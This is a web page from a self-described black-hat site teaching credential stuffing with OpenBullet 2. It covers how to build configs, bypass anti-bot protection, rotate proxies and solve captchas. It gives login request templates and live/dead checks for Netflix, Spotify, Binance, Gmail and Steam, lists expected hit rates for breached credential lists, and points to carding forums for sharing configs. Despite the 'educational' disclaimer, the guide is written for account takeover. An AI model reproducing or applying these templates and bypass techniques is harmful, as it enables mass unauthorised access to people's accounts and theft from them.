OpenBullet Config Making 2026 - Complete Guide to Creating Configs

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OPENBULLET CONFIG MAKING 2026 - THE COMPLETE GUIDE
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How to Create, Customize, and Deploy OpenBullet Configs Like a Pro
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BlackHatPakistan.net | Config Development Division | Last Updated: September 2026

!!! EDUCATIONAL DISCLAIMER !!!
This guide is published for authorized security research and credential stuffing analysis. Understanding how configs work helps organizations defend against automated attacks. Unauthorized access to accounts is a criminal offense. This content is for academic and educational purposes only.

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TABLE OF CONTENTS

1. What is OpenBullet - The Complete Overview
2. OpenBullet 2 vs Legacy - Which One to Use
3. Installing OpenBullet 2 - Step by Step
4. Understanding Config Structure
5. Creating Your First Config - Login Checker
6. Advanced Config Blocks - Solved, KeyCheck, FAQs
7. Bypassing Anti-Bot Protection
8. Proxy Integration and Rotation
9. Captcha Solving Integration
10. Multi-Thread Optimization
11. Testing and Debugging Configs
12. Config Making for Netflix
13. Config Making for Spotify
14. Config Making for Crypto Exchanges
15. Config Making for Email Services
16. Config Making for Gaming Platforms
17. Publishing and Sharing Configs
18. Common Errors and Fixes
19. FAQs

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1. WHAT IS OPENBULLET - THE COMPLETE OVERVIEW

OpenBullet is an open-source web testing suite designed for web scraping, penetration testing, and credential stuffing analysis. It allows users to create automated configurations (configs) that test lists of credentials against target websites.

What OpenBullet Does:
- Tests usernameassword pairs against websites
- Checks if accounts are valid (LIVE) or invalid (DEAD)
- Supports custom configs for any website
- Multi-threaded for high-speed testing
- Built-in proxy rotation
- Captcha solving integration

Why Configs Matter:
- Configs define how OpenBullet interacts with a website
- A good config = high accuracy + high speed
- A bad config = false positives + missed accounts
- Config quality determines your success rate

OpenBullet Use Cases:
- Credential stuffing research
- Password strength analysis
- Account security testing
- Web scraping automation
- API testing

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2. OPENBULLET 2 VS LEGACY - WHICH ONE TO USE

OpenBullet 2 (Recommended):
- Modern UI with WPF
- Better performance and stability
- Solved blocks for advanced logic
- Built-in proxy rotation
- Cloud-based option available
- Active development community
- Best for: All users, especially beginners

OpenBullet Legacy:
- Older version, still functional
- Simpler interface
- Less features
- Community configs available
- Best for: Legacy configs, specific use cases

Comparison Table:
- Speed: OB2 > Legacy
- Ease of use: OB2 > Legacy
- Features: OB2 > Legacy
- Community: OB2 > Legacy
- Stability: OB2 > Legacy

Pro Tip: Always use OpenBullet 2. It is faster, more stable, and has better community support. Legacy is only useful for running old configs.

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3. INSTALLING OPENBULLET 2 - STEP BY STEP

Step 1 - Download:
1. Go to github.com/OpenBullet2
2. Click "Releases"
3. Download the latest version for your OS
4. Extract the zip file

Step 2 - Install Dependencies:
1. Install .NET 6.0 Runtime (if not installed)
2. Install Visual C++ Redistributable
3. Restart your computer

Step 3 - Configure:
1. Open OpenBullet2.exe
2. Go to Settings
3. Set your default browser (Chrome recommended)
4. Configure proxy settings
5. Set captcha solving API keys

Step 4 - Test:
1. Load a sample config
2. Run a small test (10-20 combos)
3. Check if results are accurate
4. Adjust settings if needed

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4. UNDERSTANDING CONFIG STRUCTURE

A config is made up of blocks. Each block performs a specific action:

Block Types:

1. Request Block:
- Sends HTTP requests to the target website
- Can send GET, POST, PUT, DELETE requests
- Supports headers, cookies, and body data

2. KeyCheck Block:
- Checks the response to determine if the account is LIVE or DEAD
- Compares response text, status codes, or specific patterns
- Most important block for accuracy

3. Solved Block:
- Executes custom C# code
- Used for complex logic
- Can parse HTML, JSON, or any data format

4. Captcha Block:
- Solves captchas using API services
- Supports reCAPTCHA, hCaptcha, FunCaptcha
- Requires API key from solving service

5. Proxy Block:
- Manages proxy rotation
- Supports HTTP, SOCKS4, SOCKS5
- Can test proxy validity

6. Action Block:
- Performs actions like clicking, typing, scrolling
- Used for interactive websites
- Simulates human behavior

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5. CREATING YOUR FIRST CONFIG - LOGIN CHECKER

Here is how to create a basic login checker config:

Step 1 - Analyze the Target:
1. Open the target website in browser
2. Open Developer Tools (F12)
3. Go to Network tab
4. Login with a test account
5. Find the login request
6. Note the URL, method, headers, and body

Step 2 - Create Config:
1. Open OpenBullet 2
2. Click "New Config"
3. Name your config
4. Set the target URL

Step 3 - Add Request Block:
1. Add a "Request" block
2. Set method to POST
3. Set URL to login endpoint
4. Add headers (Content-Type, User-Agent)
5. Add body (email=<USER>&password=<PASS>)

Step 4 - Add KeyCheck Block:
1. Add a "KeyCheck" block
2. Set success condition (e.g., response contains "dashboard")
3. Set failure condition (e.g., response contains "invalid")
4. Set retry condition (e.g., status code 429)

Step 5 - Test:
1. Load a small combo list (10-20 lines)
2. Run the config
3. Check if results are accurate
4. Adjust conditions if needed

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6. ADVANCED CONFIG BLOCKS - SOLVED, KEYCHECK, FAQS

Solved Block (C# Code):

// Example: Parse JSON response
var json = JsonConvert.DeserializeObject<dynamic>(response.Content);
if (json.status == "success") {
    Mark.LIST();
} else if (json.status == "invalid") {
    Mark.FAIL();
} else {
    Mark.RETRY();
}

KeyCheck Conditions:
- LIST = Account is valid (LIVE)
- FAIL = Account is invalid (DEAD)
- RETRY = Temporary error, try again
- BAN = IP or account is banned
- NONE = Unknown status

Common KeyCheck Patterns:
- Response contains "Welcome" = LIVE
- Response contains "Invalid password" = DEAD
- Response contains "Too many attempts" = RETRY
- Response contains "Account locked" = BAN

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7. BYPASSING ANTI-BOT PROTECTION

Many websites have anti-bot protection. Here is how to bypass it:

User-Agent Rotation:
- Use realistic browser user agents
- Rotate between Chrome, Firefox, Safari
- Match user agent to proxy location

Cookie Management:
- Capture cookies from initial request
- Send cookies with subsequent requests
- Handle session cookies properly

Header Simulation:
- Include all standard browser headers
- Add Referer header
- Add Accept-Language header

Timing Delays:
- Add random delays between requests
- Mimic human typing speed
- Vary request timing

Browser Fingerprinting:
- Use antidetect browser integration
- Match fingerprint to user agent
- Consistent fingerprint across sessions

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8. PROXY INTEGRATION AND ROTATION

Proxy Types:
- HTTP - Standard, fast, most common
- SOCKS4[/B] - Faster than HTTP, less compatible
- SOCKS5 - Most versatile, supports UDP

Proxy Sources:
- Bright Data - Premium residential proxies
- SmartProxy - Good balance of price/quality
- Oxylabs - Enterprise-grade
- Free proxies - Unreliable, use for testing only

Proxy Rotation Settings:
- Rotate every 100-200 requests
- Use same proxy for same combo
- Kill dead proxies automatically
- Test proxy before use

Proxy Format:

IP:Port:Username:Password
or
IP:Port

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9. CAPTCHA SOLVING INTEGRATION

Captcha Types:
- reCAPTCHA v2 - Most common
- hCaptcha - Growing adoption
- FunCaptcha - Used by major sites
- Image captcha - Simple text recognition

Solving Services:
- 2Captcha - $1-3 per 1,000 captchas
- Anti-Captcha - $1-2 per 1,000 captchas
- CapSolver - $0.8-2 per 1,000 captchas
- DeathByCaptcha - $1-3 per 1,000 captchas

Integration Steps:
1. Get API key from solving service
2. Add Captcha block to config
3. Select captcha type
4. Enter API key
5. Test with sample captcha

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10. MULTI-THREAD OPTIMIZATION

Thread Settings:
- 10-25 threads: Safe, low detection
- 25-50 threads: Moderate speed
- 50-100 threads: Fast, higher detection
- 100+ threads: Very fast, highest detection

Optimization Tips:
- Start with 25 threads
- Increase gradually based on results
- Monitor for rate limiting
- Use good proxies for higher threads
- Match threads to proxy quality

Performance Metrics:
- CPM (Checks Per Minute): Target 1,000-5,000
- Hit Rate: Target 10-30%
- Error Rate: Keep under 5%
- Proxy Health: Keep above 80%

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11. TESTING AND DEBUGGING CONFIGS

Testing Process:
1. Start with 10-20 test combos
2. Run config with low threads (10)
3. Check each result manually
4. Verify LIVE accounts are actually working
5. Adjust KeyCheck conditions
6. Scale up to full combo list

Common Issues:
- False positives: Adjust success conditions
- False negatives: Adjust failure conditions
- Timeouts: Increase timeout settings
- Captchas: Add captcha solving block
- Rate limiting: Reduce threads, add delays

Debug Tools:
- OpenBullet built-in debugger
- Browser Developer Tools
- Proxy log viewer
- Request/response inspector

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12. CONFIG MAKING FOR NETFLIX

Netflix is the most commonly checked platform. Here is the config structure:

Login Request:

POST https://www.netflix.com/login
Content-Type: application/x-www-form-urlencoded

email=<USER>&password=<PASS>&rememberMe=true&flow=loginIdentifier

KeyCheck Conditions:
- Response URL contains "/browse" = LIVE
- Response contains "Incorrect password" = DEAD
- Response contains "Too many attempts" = RETRY
- Response contains "Account locked" = BAN

Settings:
- Threads: 50-100
- Timeout: 10-15 seconds
- Proxy rotation: Every 100 checks
- Captcha: Not required for most accounts

Hit Rates:
- Old list (2023-2024): 3-8%
- Medium list (2025): 8-15%
- Fresh list (2026): 15-30%

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13. CONFIG MAKING FOR SPOTIFY

Spotify has weaker fraud detection than Netflix:

Login Request:

POST https://accounts.spotify.com/api/login
Content-Type: application/json

{"username":"<USER>","password":"<PASS>","loginType":"normal"}

KeyCheck Conditions:
- Response contains "accessToken" = LIVE
- Response contains "Invalid credentials" = DEAD
- Response contains "Too many attempts" = RETRY

Settings:
- Threads: 100-200
- Timeout: 5-10 seconds
- Proxy rotation: Every 200 checks

Hit Rates:
- Old list: 5-10%
- Medium list: 10-18%
- Fresh list: 18-35%

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14. CONFIG MAKING FOR CRYPTO EXCHANGES

Crypto exchange configs are the most valuable:

Binance Login Request:

POST https://www.binance.com/bapi/accounts/v2/public/account/api/login
Content-Type: application/json

{"email":"<USER>","password":"<PASS>"}

KeyCheck Conditions:
- Response contains "accessToken" = LIVE
- Response contains "Invalid credentials" = DEAD
- Response requires 2FA = RETRY

Settings:
- Threads: 20-30 (exchanges rate-limit aggressively)
- Timeout: 15-20 seconds
- Proxy rotation: Every 50 checks

Hit Rates:
- Old list: 1-3%
- Medium list: 3-8%
- Fresh list: 8-15%

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15. CONFIG MAKING FOR EMAIL SERVICES

Email configs check if emailassword pairs are valid:

Gmail Login Request:

POST https://accounts.google.com/signin/v1/lookup
Content-Type: application/x-www-form-urlencoded

Email=<USER>&Passwd=<PASS>&continue=https://mail.google.com

KeyCheck Conditions:
- Response URL contains "mail.google.com" = LIVE
- Response contains "Incorrect password" = DEAD
- Response contains "captcha" = RETRY

Settings:
- Threads: 50-100
- Timeout: 10-15 seconds
- Captcha: Required for some attempts

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16. CONFIG MAKING FOR GAMING PLATFORMS

Gaming platform configs check game accounts:

Steam Login Request:

POST https://store.steampowered.com/login/dologin
Content-Type: application/x-www-form-urlencoded

username=<USER>&password=<PASS>&remember_login=on

KeyCheck Conditions:
- Response contains "success" = LIVE
- Response contains "Incorrect password" = DEAD
- Response contains "captcha" = RETRY

Settings:
- Threads: 50-100
- Timeout: 10-15 seconds

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17. PUBLISHING AND SHARING CONFIGS

Where to Share:
- GitHub - Open source community
- Telegram groups - Private sharing
- Carding forums - Community configs
- Discord servers - Real-time sharing

Sharing Tips:
- Test thoroughly before sharing
- Document any special requirements
- Include proxy recommendations
- Update regularly for site changes

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18. COMMON ERRORS AND FIXES

Error: "Connection Timeout"
- Fix: Check proxy health, increase timeout

Error: "CAPTCHA Detected"
- Fix: Add captcha solving block, reduce threads

Error: "Rate Limited"
- Fix: Reduce threads, rotate proxies, add delays

Error: "Invalid Config"
- Fix: Update config, check for site changes

Error: "Proxy Authentication Failed"
- Fix: Check proxy credentials, renew subscription

Error: "Login Page Changed"
- Fix: Update config to match new page structure

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19. FAQs

Q: What is the best config maker?
A: OpenBullet 2 is the gold standard. Free, open-source, and has the largest community.

Q: How do I learn config making?
A: Start with simple login configs. Study existing configs. Practice with test accounts.

Q: How many threads should I use?
A: Start with 25. Increase based on results. Netflix: 50-100. Spotify: 100-200. Exchanges: 20-30.

Q: How do I bypass captchas?
A: Use captcha solving services (2Captcha, Anti-Captcha). Cost: $1-3 per 1,000 captchas.

Q: How do I find login endpoints?
A: Use browser Developer Tools. Network tab. Login with test account. Find the request.

Q: How often should I update configs?
A: Check for site changes weekly. Update configs immediately when sites change.

Q: Where can I find community configs?
A: GitHub, Telegram groups, carding forums, Discord servers.

Q: How do I test my config?
A: Start with 10-20 test combos. Run with low threads. Check each result manually.

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FINAL WORDS

OpenBullet config making is a skill that takes time to master. Start with simple configs, study existing ones, and practice regularly. The key to a good config is accuracy - false positives waste time and false negatives miss opportunities.

The configs that work best are the ones that are regularly maintained and updated. Sites change their login pages, add new security measures, and update their APIs. A good config maker stays on top of these changes.

Stay educated. Stay updated. Stay free.

- BlackHatPakistan.net Config Development Division

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